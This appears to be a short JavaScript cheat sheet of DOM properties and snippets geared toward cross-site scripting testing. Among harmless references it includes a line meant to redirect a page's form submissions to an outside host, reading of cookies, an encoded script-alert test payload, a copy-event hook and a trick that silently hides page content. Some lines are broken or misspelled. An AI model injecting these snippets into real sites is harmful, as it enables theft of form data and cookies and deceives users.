document.forms // Find all forms on DOM
document.forms.length // Find number of forms on DOM
document.forms[0].action // Read the action of the first form in DOM
document.forms[0].action == "https://m4lwhere.org" // Change the action of the form
document.cookie // Lists cookies, will not work for HttpOnly
window.location.hostname // Hostname of current site
window.location.href // Full URL of current site
window.location.pathname // URI only of current site (no hostname!)
window.location.protcol // List HTTP or HTTPS
document.images // All images in DOM
document.images.src // Get the list of image objects in DOM
document.links // All links in DOM
document.scripts // All JavaScript scripts in DOM
document.readyState // If page is loading or not
document.referrer // Returns URI that linked to current page
document.title // Title of current DOM
document.write // Add text or other data to the document
ClipboardEvent.copy // Event listener for a copy action
ClipboardEvent.paste // Event listener for a paste action
console.log("haha"); // Prints the value of a command to the console, useful for debugging
encodeURIComponent("<script>alert(1)</script>") // Encodes the URI for us :)
document.addEventListener('copy', (event) => { // Creates a event listener which executes the alert when a copy is made
alert('copy action initiated')
const paragraphs = document.querySelectorAll("p"); // Get a number of all paragraphs on the DOM
alert(paragraphs[0].nodeName);
paragraphs[(Math.floor(Math.random()*(paragraphs.length)))].hidden = true; // Mark a random paragraph as hidden, making it appear as though it was deleted
<h1 style=-moz-transform:rotate(-180deg);>m4lwhere</h1>
// Get a list of all char values in an array named "year"
for (i=0; i < year.length; i++) { codes.push(year.charCodeAt([i]))}
// sum of all elements in an array
for (var i = 0; i < codes.length; i++) {sum += codes[i]}